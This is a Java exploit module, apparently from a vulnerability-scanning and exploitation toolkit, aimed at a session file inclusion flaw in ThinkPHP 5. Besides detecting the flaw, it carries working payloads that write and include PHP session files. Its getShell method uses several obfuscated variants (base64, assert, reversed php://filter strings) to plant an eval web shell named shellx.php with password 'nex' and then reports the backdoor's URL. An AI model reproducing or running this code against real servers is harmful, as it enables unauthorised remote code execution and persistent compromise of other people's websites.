content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.agony.demo.utils.Tools;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.io.UnsupportedEncodingException;
  import java.net.URLEncoder;
  import java.nio.charset.StandardCharsets;
  import java.util.*;
  
  //payload by bewhale
  public class tp5_session_include implements BasePayload {
      ArrayList<String> routers = new ArrayList<>(Arrays.asList("/index.php?s=captcha", "/index.php/index", "/index.php?s=index/index/index"));
  
      @Override
      public Result checkVUL(String url) throws Exception {
  
          String randomStr = Tools.getRandomString(25).toLowerCase();
          String payload = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=test&server[]=1";
          for (String route : routers) {
              try {
                  String payload_uri = url + route;
                  HttpRequest v = HttpRequest.post(payload_uri).header("Cookie", "PHPSESSID=" + randomStr).send(payload);
                  if (v.serverError()) {
                      payload = "_method=__construct&method=GET&filter[]=think\\__include_file&get[]=/tmp/sess_" + randomStr + "&server[]=1";
                      String res = HttpRequest.post(payload_uri).header("Cookie", "PHPSESSID=" + randomStr).send(payload).body();
                      if (res.contains("think|a:")) {
                          return new Result(true, "ThinkPHP 5 session include", payload_uri + " Post:" + payload);
                      }
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
  
          return new Result(false, "ThinkPHP 5 session include", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      //payload by bewhale
      @Override
      public Result getShell(String url) throws Exception {
          String shell_content = "<?=@eval($_POST['nex']);?>";
          String base64_content = Base64.getEncoder().encodeToString(shell_content.getBytes(StandardCharsets.UTF_8));
          ArrayList<String> payloads = new ArrayList<>();
          try {
              String exp1 = "file_put_contents('shellx.php',base64_decode('" + base64_content + "'));";
              String exp2 = Base64.getEncoder().encodeToString(exp1.getBytes(StandardCharsets.UTF_8));
              String exp3 = "<?php $a='file_put_contents';$b='base64_decode';$a($b('" + Base64.getEncoder().encodeToString("shellx.php".getBytes(StandardCharsets.UTF_8)) + "'),$b('" + base64_content + "'));?>";
              String payload1 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=<?php eval(base64_decode('" + URLEncoder.encode(exp2, "UTF-8") + "'));?>&server[]=1";
              String payload2 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=<?php $a='assert';$b='base64_decode';$a($b('" + URLEncoder.encode(exp2, "UTF-8") + "'));?>&server[]=1";
              String payload3 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=" + URLEncoder.encode(exp3, "UTF-8") + "&server[]=1";
              String payload4 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=" + shell_content + "&server[]=1";
              String payload5 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=" + this.bypass("<?php " + exp1 + ";?>") + "&server[]=1";
              String payload6 = "_method=__construct&filter[]=think\\Session::set&method=get&get[]=" + this.bypass(shell_content) + "&server[]=1";
              payloads.add(payload3);
              payloads.add(payload1);
              payloads.add(payload2);
              payloads.add(payload4);
              payloads.add(payload5);
              payloads.add(payload6);
              for (String route : routers) {
                  int ct = 0;
                  for (String payload : payloads) {
                      ct += 1;
                      String randomStr = Tools.getRandomString(25).toLowerCase();
                      Map<String, String> headers = new HashMap<>();
                      headers.put("Content-type", "application/x-www-form-urlencoded");
                      headers.put("Cookie", "PHPSESSID=" + randomStr);
                      HttpRequest res = HttpRequest.post(url + route).headers(headers).send(payload);
                      if (res.serverError()) {
                          payload = "_method=__construct&method=GET&filter[]=think\\__include_file&get[]=/tmp/sess_" + randomStr + "&server[]=1";
                          if (ct > 3) {
                              payload = "_method=__construct&filter[]=strrev&filter[]=think\\__include_file&method=get&server[]=1&get[]=" + (new StringBuilder(randomStr)).reverse() + "_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php";
                          }
                          String res0 = HttpRequest.post(url + route).headers(headers).send(payload).body();
                          HttpRequest res1 = HttpRequest.post(url + "/shellx.php");
                          if (res1.ok()) {
                              return new Result(true, null, url + "/shellx.php" + "   Pass:nex");
                          }
  
                          if (res0.contains("think|a:")) {
                              if (ct == 3) {
                                  return new Result(true, null, "可以尝试无文件落地GetShell,连接方式:\n[+] 请求方式: POST\n[+] URL: " + url + route + "\n[+] POST参数: " + payload);
                              }
                              return new Result(false, null, "存在session包含漏洞，但上传失败, 请确认目录是否有写入权限！");
                          }
                      }
  
                  }
              }
  
          } catch (Exception e) {
              e.printStackTrace();
              return new Result(false, null, null);
          }
  
          return new Result(false, null, null);
      }
  
      public String bypass(String content) throws UnsupportedEncodingException {
          String temp = Base64.getEncoder().encodeToString(content.getBytes(StandardCharsets.UTF_8));
          if (temp.length() == 98) {
              content = content.replace("?>", ";?>");
              content = Base64.getEncoder().encodeToString(content.getBytes(StandardCharsets.UTF_8));
          } else {
              content = temp;
          }
  
          content = content.replace("=", "+");
          if (content.length() < 7) {
              content = "abc" + content;
          }
  
          if (content.length() < 98) {
              content = "ab" + content;
          }
  
          if (content.length() > 98 && content.length() < 997) {
              content = "a" + content;
          }
  
          content = URLEncoder.encode(content, "UTF-8");
          return content;
      }
  }
  